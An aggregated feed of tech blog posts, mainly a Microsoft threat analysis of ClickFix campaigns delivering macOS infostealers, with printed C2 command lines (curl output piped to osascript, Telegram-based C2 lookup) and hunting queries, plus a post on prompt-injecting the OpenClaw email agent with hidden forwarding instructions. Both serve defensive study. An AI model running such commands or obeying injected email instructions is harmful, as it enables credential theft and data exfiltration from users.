Microsoft revealed last month that it's planning to offer long-serving employees in the US the ability to voluntarily retire. While the terms of the buyout were supposed to be announced to employees tomorrow, sources at Microsoft tell me the company has posted them on its internal HR website a little earlier than expected.

US employees whose combined years of service added to their age totals 70 or more will be eligible for voluntary retirement, and the package will include five years of access to Microsoft's healthcare coverage, a lump sum cash severance payment, and six months of vesting for unvested stock options.

The five years of medi …

Read the full story at The Verge.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallets. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Since 2017, we’ve been checking in with developers around the world to better understand how the industry is evolving and where software development is headed next.

This year marks the tenth edition of the Developer Ecosystem Survey, and we’d love for you to take part.

When we launched the first survey, Kotlin was just emerging, and AI coding tools were still years away. Today, they are part of everyday development.

Every year, tens of thousands of developers share their experiences, helping create one of the most comprehensive pictures of the tools, technologies, and challenges shaping modern development. The survey insights are widely used across the developer community – from researchers and industry analysts to teams building developer tools.

Whether you’re building large-scale systems, mobile apps, games, or experimenting with side projects, your perspective matters.

Set aside about 30 minutes, grab a drink, get comfortable, and tell us about your experience as a developer.

TAKE THE SURVEY

Have your say and get a chance to win one of these prizes:

• MacBook Pro 16″
• USD 1,000 Amazon Gift Card or alternative
• USD 150 JetBrains Merchandise Store voucher
• One-year JetBrains All Products Pack subscription
• A guaranteed 30% discount for an individual JetBrains license

The more developers who participate, the clearer the picture we can build of today’s software development ecosystem. When you’re done, you’ll receive a personal referral link to share with friends and colleagues. The participants who bring in the most responses via their referral link will receive an additional prize.

As always, we’ll publish the results in detailed infographics and reports, and we’ll release the anonymized raw data for anyone who wants to explore the findings further.

Thank you for helping us capture a snapshot of where development is headed in 2026 – and for being part of the global developer community that has supported this initiative for the past decade.

I’m a software engineer who works on domains that represent the messy corner of the internet.

In this corner, there are bad actors doing bad stuff and us trying to make their lives harder. Hence I spend a lot of time looking at what people do when they’re trying to slip something past a system. This led me to developing a slight paranoia about anything that reads untrusted input and then does something with it.

So when half my Linkedin timeline started losing their minds over OpenClaw, I developed a specific kind of curiosity:

What happens when this thing reads an email that’s actively trying to manipulate it?

So I tried… and the model caught me on the first try.

That’s the disappointing part. The interesting part is what happened when I tried harder – and what I realized about where the defense actually lives.

The hype isn’t manufactured, which is the whole point

But first, let me be honest about why this thing went viral. OpenClaw is genuinely impressive.

The first time I asked it to triage my inbox in detail and it actually did, I had the same reaction every other dev on X or LinkedIn has been having: oh now we are talking. This is the thing!

That reaction is part of what makes this complicated. Because the same architecture choices that make OpenClaw feel magical are the ones that create some genuinely hard security questions. The type of questions the broader industry hasn’t figured out how to properly answer yet.

15 minutes from npm install to AI reading your Gmail

Fifteen minutes. That’s how long it takes from npm install to having an LLM agent reading your inbox. The installer warns you this is a hobby project and still in beta – which, with 360k GitHub stars and 1.500+ contributors, reads more like a legal disclaimer than a self-description. The warning is the project being honest: security isn’t the primary concern here.

The onboarding wizard asks which channels you want, which model provider to route through, and walks you through the gateway setup. Gmail takes a little more work. OpenClaw doesn’t ship a “Connect Google” button because Google’s OAuth verification for production Gmail apps is strict, so every developer rolls their own Google Cloud project. The flow:

# 1. Create a Google Cloud project, enable Gmail API, download credentials JSON
# (console.cloud.google.com → New Project → APIs & Services → Library)

# 2. Install gog — OpenClaw's OAuth bridge for Google Workspace
brew install gog

# 3. Authenticate
gog auth --credentials ~/Downloads/client_secret_xxx.json
gog auth add me@example.com --services gmail,calendar,drive,contacts

gog auth opens your browser and walks you through Google’s consent screen with a scary “this app isn’t verified” warning (technically correct – it isn’t, you just installed it). You grant the scopes. Done.

That’s what the wizard shows you. Four defaults it doesn’t show matter more.

Gateway auth is off by default. The gateway runs on localhost, sure. But the moment you expose it, it’s wide open. Bitsight found over 30.000 OpenClaw instances exposed directly on the open internet in their February report. If you’re one of them, anyone who can reach your WebSocket can issue commands as you.

Permissions are off by default. Out of the box, OpenClaw runs with no filesystem restrictions. A skill can reach anything the OpenClaw process can reach – ~/.ssh, browser credential stores, shell history. You configure restrictions yourself in openclaw.json.

Set chmod 600 openclaw.json to restrict file permissions. And if you’re testing skills from unknown publishers, run OpenClaw inside a Docker sandbox.

That’s from the project’s own docs. Read it again. The maintainers know what happens if you don’t sandbox the agent.

Skills are markdown files. OpenClaw learns new tools by loading a SKILL.md This is a YAML file with a body describing, in English, which CLI commands it can run. The model reads the description, decides when the skill is relevant, and runs the commands the markdown tells it are available. Here’s a trimmed version of the real gog skill:

---
name: gog
description: Google Workspace CLI for Gmail, Calendar, Drive, Contacts.
metadata:
  requires:
    bins: [gog]
---

# gog
Use `gog` for Gmail/Calendar/Drive/Contacts. Requires OAuth setup.

## Common commands
Gmail search: gog gmail search 'newer_than:7d' --max 10
Gmail send:   gog gmail send --to a@b.com --subject "Hi" --body "Hello"

That markdown file is the entire trust boundary. Malicious instructions in a SKILL.md and legitimate ones look identical to the model, because they are identical. The only thing differentiating the “read my mail” prompt from “send mail to a stranger” is the model’s judgement about it.

OAuth scopes are all-or-nothing. The three scopes gog asks for – gmail.readonly, gmail.send, gmail.modify – apply to every email in your account, ever. No “only this or only that” variant. That’s a Google API design decision, not OpenClaw’s fault, but you inherit it the moment you wire them together.

The test I came here to run

So I sent myself an email from a burner account. The visible body was a generic delivery confirmation. At the bottom, using an ancient trick of white text on a white background, I embedded a quiet exfiltration request dressed up as a routine maintenance message. These instructions told the agent to forward emails containing password-manager keywords to an address I controlled.

Then I opened the chat interface and asked the agent a simple question: Are there any emails today?

The model saw through me

It flagged the sender as suspicious – a personal Gmail issuing a corporate-sounding directive. It called out the hidden text explicitly. It refused to act on the instruction. It categorized the message alongside the day’s normal mail, presented its reasoning, and asked whether I wanted to flag the suspicious one as spam.

I’ll be honest, I was kind of disappointed. I’d sat down expecting a war story. Instead, I got a well-aligned frontier model doing exactly what a well-aligned frontier model is supposed to do.

So I tried harder

I thought about what had triggered the defense and iterated.

The first attempt hit at least three trained heuristics at once: suspicious-sender detection, hidden-text detection, and a pattern-match against “silent operation, don’t tell the user” phrasing.

I removed the tells one at a time. Visible text instead of hidden. Plausible sender framing instead of a personal Gmail. Configuration-style payloads instead of one-shot exfiltration. Setting up an ongoing workflow rather than asking for something bad right now.

Against the frontier model I was routing through, every version I tried got caught. Sometimes immediately, sometimes with a clarifying question, but the model never silently complied.

Against lighter models, that’s not what happened.

Same architecture. Same skill. Same agent. Cheaper model. And the defenses that were reliable at the top of the hierarchy became probabilistic as I moved down. I’m not going to publish specific payloads. Not because the finding is novel (Cisco, CrowdStrike, and Barracuda have all been saying this for months) but because the payload is not the interesting finding here.

The gradient is.

The defense isn’t where you think it is

Here’s the thing the defensive and offensive communities both already know, and that almost nobody installing OpenClaw on a Friday night has internalized.

The security of these agent systems lives at the model layer, not at the architecture layer.

OpenClaw doesn’t defend against the attack. The model does. The skill doesn’t defend. The tool framework doesn’t defend. If the model you’re routing through has been trained to spot the pattern, the attack gets caught. If it hasn’t or if it was trained to spot last month’s patterns but not this month’s – the attack lands.

Which means the security posture of your OpenClaw install depends almost entirely on which model is sitting behind your API key that day. And most developers running personal agents are doing one or more of the following:

• Routing through whichever model is cheapest this week
• Using a fallback chain that drops to lower-tier models under load or rate limits
• Not paying attention to which model they’re on, because the agent works regardless

Every one of those is a security decision. Most developers don’t realize they’re making one.

Why this is the failure mode that matters

The architectural problem doesn’t go away when the frontier model defends perfectly. Three facts stay true:

1. The agent reads untrusted external content: inboxes, fetched pages, message bodies.
2. The agent has tools that can act on what it reads: send email, run shell commands, call APIs.
3. Skills declare capability in plain English: which means, at the token level, an instruction in a skill and an instruction in an email are the same thing.

The model is what stands between those three facts and an exploit. For the frontier model I tested, the model was enough. For the lighter ones, less so. And the model is a training artifact. This means the defense you have today is not necessarily the defense you have tomorrow, and the defense at the top of the model stack is not the defense at the bottom.

This isn’t just an OpenClaw bug; it’s a universal one. It’s the current shape of personal-agent architecture, and it’ll probably take several generations of isolation patterns, capability frameworks, and signed skill registries before the industry has an honest answer.

In the meantime, the defense you get is whatever your provider shipped this quarter… and the defense the developer across the room gets is whatever their provider shipped, and those are not the same thing.

Where this goes from here

What I came away with is that OpenClaw is the most honest version we have of where personal agents are going and it’s exposing a question the whole industry is going to have to answer:

When the only thing standing between an untrusted email and a privileged action is the model’s judgement, and model judgement varies by an order of magnitude across the price curve, what is the security posture of the system?

Right now the honest answer is: whichever model you happened to pick. I believe that shouldn’t be the case.

If you want to play with OpenClaw, play with it but do it in a hardened environment with throwaway credentials, pin your model explicitly in config, keep it away from your real inbox until the safety story catches up to the capability story, and read the hardening docs before you read the tutorials.

The post I Tried to Get OpenClaw to Betray Me. The Model Caught Me on the First Try appeared first on ShiftMag.

That’s how an EcoLab® executive described decision‑making for quick‑service restaurant managers during peak rush—raw instinct, pure adrenaline, with seconds ticking away. That moment sparked a Microsoft Garage Hackathon project that became RushReady™, turning frontline kitchen data into real‑time guidance that helps managers boost sales per hour, speed of service, and profit margin. What started as a hackathon idea now helps....

The post Three words sparked an AI breakthrough in restaurant operations: “Hair. On. Fire.” appeared first on Microsoft Garage.